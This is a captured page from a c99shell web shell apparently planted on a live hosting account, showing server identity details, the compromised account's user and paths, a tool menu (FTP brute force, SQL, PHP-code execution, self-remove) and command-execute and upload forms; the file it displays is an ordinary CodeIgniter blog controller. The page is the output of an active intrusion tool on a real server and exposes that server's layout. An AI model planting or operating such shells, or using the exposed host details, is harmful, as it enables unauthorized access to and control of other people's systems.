smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/test/application/controllers/   drwxr-xr-x
Free 3429.57 GB of 4265.01 GB (80.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Home.php (2.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
defined
('BASEPATH') or exit('No direct script access allowed');

class 
Home extends CI_Controller
{
    function 
__construct()
    {
        
parent::__construct();
    }
    public function 
index()
    {
        if (
$this->session->userdata('login')) {
            
redirect('./panel');
            die();
        }
        
$this->lang->load('home');
        
$this->load->view('theme-' $this->config->item("theme") . '/home');
    }

    public function 
blog($slug null)
    {
        
$this->load->model('panel_model');

        
$data["recent_posts"] = $this->panel_model->db->order_by('id''desc')->limit(4)->get('blog_posts')->result_array();

        if(
$slug == null) {
            
$this->load->library("pagination");
    
            
$config = array();
    
            
$config['full_tag_open'] = '<ul class="pagination">';
            
$config['full_tag_close'] = '</ul>';
            
$config['attributes'] = ['class' => 'page-link'];
            
$config['first_link'] = false;
            
$config['last_link'] = false;
            
$config['first_tag_open'] = '<li class="page-item">';
            
$config['first_tag_close'] = '</li>';
            
$config['prev_link'] = '&laquo';
            
$config['prev_tag_open'] = '<li class="page-item">';
            
$config['prev_tag_close'] = '</li>';
            
$config['next_link'] = '&raquo';
            
$config['next_tag_open'] = '<li class="page-item">';
            
$config['next_tag_close'] = '</li>';
            
$config['last_tag_open'] = '<li class="page-item">';
            
$config['last_tag_close'] = '</li>';
            
$config['cur_tag_open'] = '<li class="page-item active"><a href="#" class="page-link">';
            
$config['cur_tag_close'] = '<span class="sr-only">(current)</span></a></li>';
            
$config['num_tag_open'] = '<li class="page-item">';
            
$config['num_tag_close'] = '</li>';
            
$config['page_query_string'] = TRUE;
                    
    
            
$config["base_url"] = base_url() . "blog";
            
$config["total_rows"] = $this->panel_model->db->count_all("blog_posts");
            
$config["per_page"] = 4;
            
$config["uri_segment"] = 3;
            
$this->pagination->initialize($config);
    
            
$page = isset($_GET['per_page']) ? intval($_GET['per_page']) : 0;
    
    
            
$this->panel_model->db->limit($config["per_page"], $page);
            
$d = array();
            
$this->panel_model->db->order_by('id''desc');
            
$query $this->panel_model->db->get("blog_posts");
            if (
$query->num_rows() > 0) {
                foreach (
$query->result_array() as $row) {
                    
$d[] = $row;
                }
            }
            
$data["posts"] = $d;
            
$data["links"] = $this->pagination->create_links();    
        }
        else {
            
$d $this->panel_model->db->get_where('blog_posts', array('slug' => $slug))->result_array();
            if(
count($d) > 0) {
                
$data["pageContent"] = $d[0];
            }
            else {
                
header('Location: '.base_url('blog'));exit;
            }
        }
        
$this->lang->load('home');
        
$this->load->view('theme-' $this->config->item("theme") . '/blog'$data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.005 ]--